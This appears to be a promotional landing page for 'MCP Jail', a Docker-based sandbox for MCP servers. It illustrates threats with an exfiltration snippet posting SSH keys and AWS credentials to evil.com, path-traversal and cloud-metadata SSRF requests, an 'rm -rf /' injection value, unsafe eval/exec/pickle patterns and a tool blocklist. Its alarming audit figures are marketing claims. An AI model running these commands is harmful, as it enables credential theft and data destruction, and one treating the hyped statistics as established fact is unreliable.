DID YOU KNOW?
curl -fsSL https://mcpjail.com/install.sh | sh
Fix it in 10 seconds. Works on macOS, Linux, and Windows (WSL2)
We audited 501 MCP servers from the official registry. The results? Terrifying. Nearly every server can steal your credentials, exfiltrate your code, or backdoor your system. And Claude Desktop gives them permission to do it.
Nearly all MCP servers have at least one exploitable vulnerability that could compromise your system.
# Real vulnerabilities found: - RCE via pickle deserialization: 351 servers - exec() injection: 268 servers - Shell command execution: 183 servers - Arbitrary file read/write: 380 servers
These servers can execute arbitrary shell commands on your machine with your full user privileges.
# Example vulnerable code patterns:
subprocess.run(user_input, shell=True)
os.system(f"process {filename}")
exec(user_provided_code)
eval(user_expression)
Unpinned dependencies mean a compromised npm/pip package automatically compromises you.
# package.json with unpinned deps:
"dependencies": {
"some-package": "^1.0.0", // Could become 1.9.9-malware
"another-pkg": "latest" // Attacker publishes new "latest"
}
Unrestricted network access means servers can exfiltrate your data to any remote server.
# Data exfiltration is trivial:
requests.post("https://evil.com/collect", data={
"ssh_key": open("~/.ssh/id_rsa").read(),
"aws_creds": open("~/.aws/credentials").read(),
"source_code": zip_entire_codebase()
})
Read ~/.ssh/id_rsa, ~/.aws/credentials, browser cookies and passwords, your entire codebase. Execute rm -rf /. Install backdoors. Mine crypto. Join botnets. Exfiltrate everything to a remote server. All without you ever knowing.
Add one word to your command. That's it. MCP Jail wraps any server in an isolated sandbox. No network. No filesystem access. No way to steal your keys. Even if the server is malicious, it can't touch anything.
npx -y @modelcontextprotocol/server-filesystem /home/user
mcpjail npx -y @modelcontextprotocol/server-filesystem /workspace
Click each component to learn more:
| Protection | Description | Blocks |
|---|---|---|
| Container Isolation | Every MCP server runs in a hardened Docker container with read-only filesystem, dropped capabilities, and seccomp filtering. | Container escape, privilege escalation |
| Network Control | Network disabled by default (--network=none). Allowlist specific hosts when needed. | Data exfiltration, SSRF, C2 callbacks |
| Protocol Proxy | Rust-based MCP protocol proxy validates every JSON-RPC request and response. | Path traversal, malformed requests |
| Tool Filtering | Allowlist or blocklist specific MCP tools. Blocks dangerous patterns like execute_command, eval, shell. | RCE, shell injection, code execution |
| Path Validation | Validates all file paths in requests. Blocks traversal patterns (../) and access outside mounts. | Credential theft, config access |
| SSRF Protection | Blocks access to internal networks, cloud metadata (169.254.x.x), and localhost. | Cloud credential theft, internal recon |
| Audit Logging | Complete audit trail of all MCP operations with tool names, arguments, and responses. | Forensics, compliance |
These aren't theoretical. We found these in real MCP servers. Click to see how each attack works:
Attack: Access files outside allowed directories using ../ sequences.
# Malicious request
read_file("../../.ssh/id_rsa")
read_file("/etc/passwd")
# MCP Jail blocks with path validation
ERROR: Path traversal detected: ../../.ssh/id_rsa
Protection: All file paths validated against mount allowlist. Traversal patterns blocked.
Attack: Execute arbitrary shell commands via vulnerable MCP tools.
# Vulnerable server code subprocess.run(user_input, shell=True) # MCP Jail blocks via tool blocklist + seccomp ERROR: Tool 'execute_command' is blocked by policy # Even if tool allowed, seccomp blocks execve syscall
Protection: Tool blocklist + seccomp profile blocks process spawning.
Attack: Access internal networks, cloud metadata, or localhost services.
# Malicious requests
fetch("http://169.254.169.254/latest/meta-data/") # AWS creds
fetch("http://localhost:8080/admin") # Internal
fetch("http://192.168.1.1/config") # Private net
# MCP Jail blocks with --network=none
ERROR: Network access denied (container isolated)
Protection: --network=none by default. Allowlist specific hosts if needed.
Attack: Inject shell metacharacters into command arguments.
# Malicious input
filename = "test.txt; rm -rf /"
os.system(f"cat {filename}")
# MCP Jail blocks via seccomp
# execve() syscall blocked - cannot spawn processes
ERROR: Operation not permitted (seccomp)
Protection: Seccomp blocks execve. Even if injection succeeds, no shell available.
Attack: Execute code via pickle, YAML, or other unsafe deserialization.
# Malicious pickle payload import pickle payload = pickle.dumps(RCEPayload()) # Server unpickles: pickle.loads(user_data) # MCP Jail: RCE contained in isolated container # - No network to exfiltrate data # - No persistent filesystem changes # - Container destroyed on exit
Protection: Container isolation limits blast radius. No persistence or exfiltration.
Attack: Execute arbitrary code via eval(), exec(), or similar functions.
# Vulnerable server code eval(user_provided_expression) exec(user_provided_code) # MCP Jail blocks via tool blocklist ERROR: Tool 'evaluate' is blocked by policy ERROR: Tool 'run_code' is blocked by policy # Even if bypassed, container limits damage
Protection: Tool blocklist blocks eval-like tools. Container isolation as backup.
curl -fsSL https://mcpjail.com/install.sh | sh
Download the binary for your platform from the downloads section and place in your PATH.
mcpjail npx -y @modelcontextprotocol/server-filesystem /workspace
mcpjail --allow-host api.example.com python -m mcp_server
mcpjail --mount .:/workspace:rw npx -y @some/mcp-server
mcpjail --policy strict npx -y @untrusted/mcp-server
Update your claude_desktop_config.json:
{ "mcpServers": { "filesystem": { "command": "mcpjail", "args": [ "--policy", "readonly", "npx", "-y", "@modelcontextprotocol/server-filesystem", "/workspace" ] } } }
Create YAML policy files for fine-grained control:
name: custom version: 1 network: mode: allowlist allowed_hosts: - api.example.com:443 filesystem: mode: explicit mounts: - path: /workspace mode: rw - path: /data mode: ro tools: mode: blocklist blocked: - execute_command - run_shell - eval resources: memory: 512M cpu: 1.0 timeout: 300s
Grab the binary for your platform. No dependencies, no runtime, just a single executable.
| Platform | Architecture | Download |
|---|---|---|
| macOS | Intel (x86_64) | mcpjail-x86_64-apple-darwin.tar.gz |
| macOS | Apple Silicon (ARM64) | mcpjail-aarch64-apple-darwin.tar.gz |
| Linux | x86_64 | mcpjail-x86_64-unknown-linux-gnu.tar.gz |
| Linux | ARM64 | mcpjail-aarch64-unknown-linux-gnu.tar.gz |
| Windows | x86_64 (WSL2) | mcpjail-x86_64-pc-windows-msvc.zip |
View all releases · Source code · Security audit report (PDF)